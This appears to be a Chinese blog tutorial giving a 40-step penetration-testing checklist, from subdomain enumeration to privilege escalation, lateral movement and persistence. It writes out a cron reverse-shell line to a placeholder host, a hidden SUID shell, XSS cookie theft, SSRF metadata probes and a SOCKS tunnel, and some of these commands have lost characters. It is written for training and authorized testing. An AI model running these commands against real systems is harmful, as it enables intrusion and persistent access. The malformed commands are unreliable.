40个漏洞挖掘实战清单:从信息收集到内网渗透的完整指南

发布时间:2026/6/22 12:50:44
40个漏洞挖掘实战清单:从信息收集到内网渗透的完整指南 1. 从零到一一份实战漏洞挖掘清单的价值看到这个标题很多刚入门安全的朋友可能会想网上教程那么多为什么还需要一份清单我干了十多年渗透测试和漏洞挖掘从甲方安全到乙方服务再到自己带团队最深的体会就是新手最缺的不是零散的知识点而是一套能贯穿始终、指导实战的“行动地图”。网上的文章和视频要么太散讲一个SQL注入就结束了要么太虚只讲方法论没有具体步骤。当你真正面对一个黑盒目标时脑子里往往是一片空白不知道从哪里下手下一步该做什么。这份“40个漏洞挖掘实战清单”的价值就在于此。它不是一个简单的漏洞类型罗列而是一套完整的、可重复的渗透测试流程框架。它把一次完整的渗透测试从信息收集到权限提升再到内网横向移动拆解成40个具体的、可操作的检查项和攻击动作。覆盖90%的渗透场景意味着你掌握了这套清单就相当于拿到了一张大部分网络环境的“通用地图”无论目标是Web应用、服务器、还是内网系统你都知道按图索骥该往哪个方向使劲。对于零基础的朋友这份清单能帮你建立正确的、体系化的实战思维避免在细枝末节上浪费时间。对于已经有一定经验的同学它可以作为你的“备忘录”和“查漏补缺指南”确保在每次测试中不会遗漏关键步骤。接下来我就结合自己踩过的坑和总结的经验把这40个检查点融入到几个核心阶段里为你详细拆解。我们不会停留在概念上每一个点都会告诉你“为什么要做”、“具体怎么做”以及“做的时候要注意什么”。2. 清单核心框架四阶段渗透流程拆解一份好的清单必须有清晰的逻辑主线。我将这40个实战点归纳为四个核心阶段这基本对应了一次标准渗透测试的生命周期。你可以把它想象成一次“外科手术”先做全面的体检信息收集然后找到病灶并确定手术方案漏洞扫描与利用接着进行核心手术操作获取权限与立足最后检查是否有并发症或转移灶内网渗透与权限维持。2.1 第一阶段地毯式信息收集第1-10项信息收集的深度和广度直接决定了后续攻击的效率和成功率。很多人觉得信息收集就是跑个扫描器这是大错特错的。这一阶段的目标是绘制一张尽可能详细的“目标网络地图”。1.1 子域名枚举与发现这是Web渗透的起点。不要只满足于主域名。常用的方法有字典爆破使用subfinder、amass等工具配合强大的子域名字典如subdomains-top1million-110000.txt。这里有个关键字典需要持续更新和维护我习惯把每次测试中发现的新子域名补充到自己的字典里。证书透明度日志利用crt.sh这类网站或certspotter工具通过搜索SSL证书来发现子域名。这种方法能发现很多其他方法遗漏的、甚至是不在DNS记录中的域名。搜索引擎语法如site:example.com -www来排除已知域名寻找其他资产。注意子域名枚举可能会产生大量请求对目标造成压力。在授权测试中务必控制速率或选择在业务低峰期进行。对于非授权测试这是绝对禁止的。1.2 端口扫描与服务识别知道有什么“门”开着。Nmap是王者但要用好全端口扫描nmap -p- -T4 target。-T4是速度与隐蔽性的平衡实战中常用。对于非常大的IP段可以先扫常见端口-p 1-1000,3389,8080,8443等。服务版本探测-sV参数至关重要。识别出是Apache 2.4.49还是Nginx 1.18.0直接关联到已知的版本漏洞。脚本扫描-sC参数运行默认的Nmap脚本有时能直接发现弱口令、配置信息泄露等低悬果实。Masscan Nmap组合拳Masscan适合超高速扫描大网段发现开放端口再用Nmap对发现的端口进行精细化扫描识别。命令如masscan -p1-65535 target --rate1000 -oL ports.txt然后nmap -sV -sC -p $(cat ports.txt | awk -F {print $4} | awk -F/ {print $1} | tr \n ,) target。1.3 Web应用指纹识别识别CMS、框架、中间件、前端库等。工具如Wappalyzer浏览器插件、whatweb、httpx。知道目标是ThinkPHP 5.0.23就等于有了明确的漏洞利用方向如著名的5.0.23 RCE。不仅要识别类型还要精确到版本。1.4 目录与敏感文件扫描寻找后台登录入口、备份文件、配置文件、源码泄露等。Dirsearch、Gobuster、Feroxbuster是常用工具。字典选择通用字典如common.txt、big.txt是基础但针对特定CMS如WordPress、Joomla使用专属字典效果更好。递归扫描在发现重要目录如/admin、/backup后应对其进行递归扫描可能发现更深层的文件。备份文件后缀除了常规的.bak、.old、.swp还要注意.tar.gz、.zip、.7z以及时间戳命名的备份文件。1.5 关联信息挖掘GitHub、网盘、搜索引擎在GitHub上搜索公司名、项目名、邮箱后缀可能找到泄露的源码、API密钥、数据库密码。使用Google Dork语法如inurl:example.com filetype:sql寻找意外泄露的数据库文件。这个阶段往往有惊喜是体现“人”的价值的环节。2.2 第二阶段精准漏洞扫描与利用第11-25项信息收集完毕后我们就有了攻击面。这一阶段是针对这些攻击面使用工具和手工结合的方式验证是否存在可利用的漏洞。2.1 自动化漏洞扫描器辅助工具如Nessus、AWVS、Xray、Nuclei可以快速覆盖大量已知漏洞。但要明白它们的局限性误报与漏报扫描器报告需要人工复核。一个高风险SQL注入告警可能只是一个带参数的静态页面。逻辑漏洞盲区越权访问、业务流程绕过、密码重置漏洞等扫描器几乎无法发现。使用策略我通常先用Nuclei社区模板强大且免费跑一遍快速抓取低悬果实。对于核心业务系统再使用AWVS进行深度爬虫和扫描。切勿完全依赖扫描器报告。2.2 手工漏洞测试核心清单这是清单的精华需要你手动验证。SQL注入不仅仅是 and 11。联合查询、报错注入、布尔盲注、时间盲注都要尝试。工具sqlmap固然强大但手工理解注入点、判断数据库类型、构造Payload的过程不可或缺。例如输入看报错信息输入1 and 11和1 and 12观察页面差异。跨站脚本不只是弹个窗。要测试存储型XSS、反射型XSS、DOM型XSS。测试Payload要多样化scriptalert(1)/scriptimg srcx onerroralert(1)以及针对富文本编辑器的绕过Payload如利用svg标签。最终目的是证明危害窃取Cookiedocument.cookie、发起请求fetch到你的服务器。文件上传漏洞尝试绕过前端校验抓包改扩展名、服务端MIME类型校验修改Content-Type、文件内容头校验在图片末尾追加PHP代码、解析漏洞test.jpg.phptest.php.test.php%00.jpg等。清单里要列出常见的绕过技巧组合。业务逻辑漏洞越权水平越权修改用户ID参数访问他人数据、垂直越权普通用户尝试访问管理员功能。流程绕过如支付时修改金额为负数或0跳过校验步骤直接发起请求。竞争条件同时发起多个请求比如优惠券领取、库存扣减可能造成超额受益。SSRF/XXE发现请求中包含URL参数如图片加载、PDF生成、远程调用时立即测试SSRF尝试访问内网服务http://127.0.0.1:8080或云元数据http://169.254.169.254。发现XML解析功能测试XXE尝试读取系统文件file:///etc/passwd或发起带外请求。2.3 第三阶段获取权限与建立立足点第26-35项当我们通过Web漏洞如文件上传拿到WebshellSQL注入写入木马或服务漏洞如Redis未授权访问、SSH弱口令成功入侵一台服务器后工作才完成了一半。这一阶段的目标是从一个低权限的“入口”变成服务器的主宰。3.1 初始信息收集一进入系统不要急着乱跑。先冷静地收集信息whoami/id 当前用户是谁属于哪些组uname -a 系统版本、内核版本。这直接关联到可能的本地提权漏洞。cat /etc/passwd 查看系统有哪些用户。ps aux/netstat -tulpn/ss -tulpn 查看运行进程、网络连接寻找内部服务、数据库等。find / -perm -us -type f 2/dev/null 查找SUID文件这是经典的提权路径。sudo -l 如果当前用户有sudo权限查看可以以root身份运行哪些命令。3.2 自动化提权脚本使用像LinPEAS、LinuxSmartEnumeration、WinPEAS这样的脚本可以自动化完成上述大部分信息收集并高亮显示可能的提权路径。我的习惯是上传LinPEAS到/tmp目录然后运行./linpeas.sh -a。它会检查内核漏洞、SUID/GUID文件、错误的权限配置、Cron jobs、PATH劫持可能性等并给出风险等级。3.3 常见提权路径实战清单里需要列出具体场景和命令。内核漏洞提权根据uname -a的结果搜索对应的公开Exp。例如经典的DirtyCowCVE-2016-5195。操作前务必在测试环境验证Exp的稳定性有些Exp可能导致系统崩溃。SUID文件滥用如果发现find命令有SUID位可以提权find / -exec /bin/sh \; -quit。如果发现vim/vi、nano、less、more等编辑器或查看器有SUID位通常可以通过它们读取敏感文件或逃逸到shell。Cron Jobs提权检查/etc/crontab和/var/spool/cron/crontabs/。如果发现有一个以root身份定期运行的脚本并且这个脚本你有写入权限或者其调用的命令你可以控制就可以实现提权。PATH环境变量劫持如果一个SUID程序内部调用了系统命令如ls、cat但没有使用绝对路径我们就可以通过修改PATH让它优先执行我们放在自定义目录下的恶意ls程序。数据库提权如果通过Web漏洞获取了数据库权限如MySQL的root用户可以尝试通过数据库函数执行系统命令如MySQL的sys_exec 但需要特定插件或者写入Webshell进一步利用。2.4 第四阶段内网渗透与权限维持第36-40项拿到一台内网机器的权限后真正的“战场”才刚刚开始。内网通常有更多的系统、更复杂的关系安全防护也可能外紧内松。4.1 内网信息收集网卡信息ifconfig/ip addr 查看当前机器所在的IP段。路由信息route -n 查看网关和路由表。ARP缓存arp -a 查看当前局域网内活跃的主机。主机发现使用fping、nmap对内网网段进行扫描。例如nmap -sn 192.168.1.0/24。端口扫描对发现的内网主机进行端口扫描寻找数据库3306 1433、远程桌面3389、文件共享445 139、管理后台8080 8443等服务。4.2 横向移动技术口令爆破与哈希传递如果内网使用相同的本地管理员密码可以使用Medusa、Hydra进行爆破。在Windows域环境中如果抓取到了域用户的NTLM哈希可以使用psexec、wmiexec等工具进行哈希传递攻击无需破解明文密码。利用漏洞扩散在内网发现的系统可能也存在相同的未修复漏洞如永恒之蓝MS17-010。可以使用Metasploit的exploit/windows/smb/ms17_010_eternalblue模块进行批量利用。SOCKS代理搭建为了让你本地的攻击工具能直接访问内网需要在已控机器上搭建代理。常用工具如EarthWorm、frp、Neo-reGeorg。例如用ew建立一个socks5代理在目标机执行./ew_for_linux -s rcsocks -l 1080 -e 8888 在你的攻击机连接这个端口就能将流量代理进内网。4.3 权限维持为了防止管理员修改密码、清除后门导致我们失联需要部署持久化后门。LinuxSSH公钥将你的公钥写入目标root用户的.ssh/authorized_keys文件中。Cron后门添加一个定时任务定期反弹shell到你的服务器。crontab -e添加* * * * * /bin/bash -c bash -i /dev/tcp/your_ip/port 01。SUID Shell拷贝一个bash并设置SUID位cp /bin/bash /tmp/.hiddenbash chmod us /tmp/.hiddenbash 之后通过/tmp/.hiddenbash -p来获取root shell。Windows计划任务创建计划任务定时执行Payload。注册表启动项在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加键值。服务创建一个新的系统服务。WMI事件订阅一种隐蔽性较高的持久化方式。重要提醒所有提权、横向移动、权限维持操作在真实授权测试中都必须严格遵守测试范围不得对非授权目标进行操作。技术本身无善恶但使用需有边界。3. 实战场景串联从外网到内网的完整链条光有清单条目还不够我们需要把它们串起来看一个完整的攻击链是如何形成的。这里我模拟一个经典场景一个对外提供Web服务的中小企业。场景起点目标域名corp.example.com。信息收集通过子域名枚举发现dev.corp.example.com和oa.corp.example.com。端口扫描显示主站开放80/443OA系统开放8080端口。whatweb识别OA系统为某旧版通达OA。漏洞利用直接搜索该版本通达OA的公开漏洞发现存在一个无需登录的SQL注入漏洞。利用sqlmap或手工注入成功获取管理员表数据并破解了MD5密码密码强度弱在线网站可解。登录OA后台。获取Shell在OA后台的文件管理模块存在任意文件上传但限制了.php后缀。通过抓包修改文件名称为shell.php.jpg并利用该OA特有的解析漏洞已知该版本对*.php.*的文件会以PHP解析成功上传Webshell用蚁剑连接获得一个www-data权限的shell。权限提升在服务器上运行LinPEAS发现系统内核版本较老存在一个已知的本地提权漏洞CVE-2021-4034。从GitHub下载对应Exp编译执行成功获得root权限。内网探测查看网络配置发现该服务器有两张网卡一张对外eth0一张对内eth1 IP: 192.168.2.10。这说明它处于一个边界位置是通往内网的“跳板”。在/etc/passwd和历史命令中发现了一些内网数据库的访问密码开发人员习惯不好。横向移动在192.168.2.0/24网段进行扫描发现一台IP为192.168.2.100的机器开放了MySQL的3306端口。尝试使用发现的密码root/Admin123进行连接成功。由于是root权限的MySQL尝试用into outfile写一个Webshell到该机器的Web目录需先探测其Web路径但未成功。转而查看数据库内容发现了另一台内网应用服务器的连接配置信息IP: 192.168.3.50。建立持久化通道在最初的边界服务器192.168.2.10上使用frp建立一个socks5代理使得攻击机可以直接访问192.168.2.0/24和192.168.3.0/24两个内网网段。继续对192.168.3.50进行渗透测试...后续过程省略。这个链条清晰地展示了如何将清单上的项目子域名扫描、端口扫描、指纹识别、特定漏洞利用、Webshell上传、信息收集、提权、内网扫描、密码复用、代理搭建有机地结合起来形成一次深度渗透。4. 工具与资源你的武器库该如何打造工欲善其事必先利其器。清单是地图工具就是你的武器和装备。我不推荐盲目安装所有工具而是应该围绕渗透流程建立一个高效、可定制的工具集。4.1 核心工具分类与推荐类别工具名称主要用途备注与心得信息收集Subfinder, Amass, Assetfinder子域名枚举Amass功能最强但稍重Subfinder速度快。Nmap, Masscan端口扫描Masscan扫全网段找开放端口Nmap做精细探测黄金组合。WhatWeb, WappalyzerWeb指纹识别Wappalyzer浏览器插件方便Whatweb命令行更全面。Dirsearch, Gobuster目录/文件扫描Gobuster支持多线程和多种模式DNS VhostDirsearch简单直接。漏洞扫描Nuclei基于模板的快速漏洞扫描社区模板更新快覆盖广是快速资产梳理和漏洞初筛的利器。Xray被动/主动漏洞扫描常配合BurpSuite使用被动扫描模式适合在手工测试时后台运行。AWVS, Nessus商业综合漏洞扫描深度爬虫和漏洞检测能力强但需要授权且误报需人工复核。漏洞利用SqlmapSQL注入自动化利用功能天花板但务必理解其原理不要当“黑盒”点按钮工具。Metasploit综合渗透框架集成了大量Exploit和Payload是漏洞利用、后渗透的瑞士军刀。Burp SuiteWeb漏洞测试平台Repeater Intruder Scanner模块是手工测试的核心。社区版够用专业版更强。后渗透/内网LinPEAS/WinPEAS本地提权辅助脚本自动化信息收集高亮显示提权路径必用。MimikatzWindows密码哈希抓取内网Windows域渗透神器但会被大部分AV查杀。Impacket内网协议利用工具包提供了psexec wmiexec smbexec等多种远程命令执行工具支持哈希传递。EarthWorm, frp, ngrok网络穿透/代理工具用于搭建端口转发、socks代理打通内网通道。综合环境Kali Linux渗透测试专用Linux发行版工具齐全开箱即用。但建议在虚拟机或专用设备中使用。4.2 资源与学习平台靶场清单里提到的VulnHub、HackTheBox、TryHackMe是绝佳的练习平台。像PotatoLampiaoRaven2这些靶机完美对应了清单中的各个攻击环节。一定要动手去打从简单到复杂。漏洞库Exploit-DBCVE DetailsNVD。养成看到服务版本就去搜一下是否有公开漏洞的习惯。技术社区与博客关注安全领域的技术博客、GitHub上的安全项目保持对新技术、新漏洞、新工具的学习。SRC平台如教育行业的edusrc 各大厂商的SRC。在获得授权的前提下进行实战是提升能力最快的方式同时还能有所收获。5. 思维进阶从执行清单到创造清单当你按照这份清单反复练习成功拿下了几十个靶场和授权测试项目后你会发现自己的思维在发生变化。你不再需要机械地对照清单而是能自然而然地形成攻击流。这时你就需要从“执行者”向“研究者”和“设计者”转变。5.1 理解漏洞根源不要满足于利用一个现成的Exp。尝试去分析漏洞的原理。为什么这个SQL注入会发生是开发者没有使用参数化查询还是过滤函数存在缺陷这个文件上传漏洞的绕过点在哪里是黑名单校验不完整还是解析逻辑有问题理解根源你才能举一反三在遇到类似但又不完全相同的场景时自己构造出利用方式。5.2 关注新型漏洞与场景清单覆盖的是90%的常见场景但安全技术日新月异。你需要保持对新兴领域的关注云安全对象存储桶错误配置、云函数权限滥用、容器逃逸、K8s安全。API安全越来越多的应用前后端分离API成为主要攻击面。未授权访问、批量请求、数据过度暴露、GraphQL注入等都是新重点。供应链安全从第三方库、开源组件、CI/CD管道中寻找突破口。一个脆弱的node_module或一个配置错误的Jenkins都可能成为入口。AI应用安全提示词注入、训练数据污染、模型窃取等这是一个正在兴起的方向。5.3 构建自己的“武器库”与“清单”最终你需要形成自己的体系个性化工具链在通用工具基础上编写自己的小脚本。比如一个自动化的子域名收集端口扫描基础信息获取的一键脚本。专属漏洞检查表针对你经常测试的某类系统如OA、CRM、CMS总结出它特有的常见漏洞点和测试方法形成更精准的检查表。方法论沉淀将你的实战经验固化成自己的方法论。例如你发现从“忘记密码”功能入手在多个系统中都找到了逻辑漏洞你就可以深入研究密码重置流程的攻击面形成一套系统的测试方案。这份40个漏洞挖掘实战清单是你的起点和导航图。它能带你走过从零基础到能够独立完成常规渗透测试的路径。但技术的海洋没有尽头真正的“精通”意味着你不仅能熟练使用这份地图还能在新的未知海域自己绘制出新的航线。安全的核心是人与人的对抗是思维的博弈。保持好奇心保持学习保持对技术的敬畏和对规则的遵守你才能在这条路上走得更远、更稳。最后分享一个我自己的习惯每次测试结束无论成败都会花时间写一份详细的复盘报告不仅记录步骤更要记录当时的思考过程和遇到的“意外”这些才是你个人能力增长的真正养分。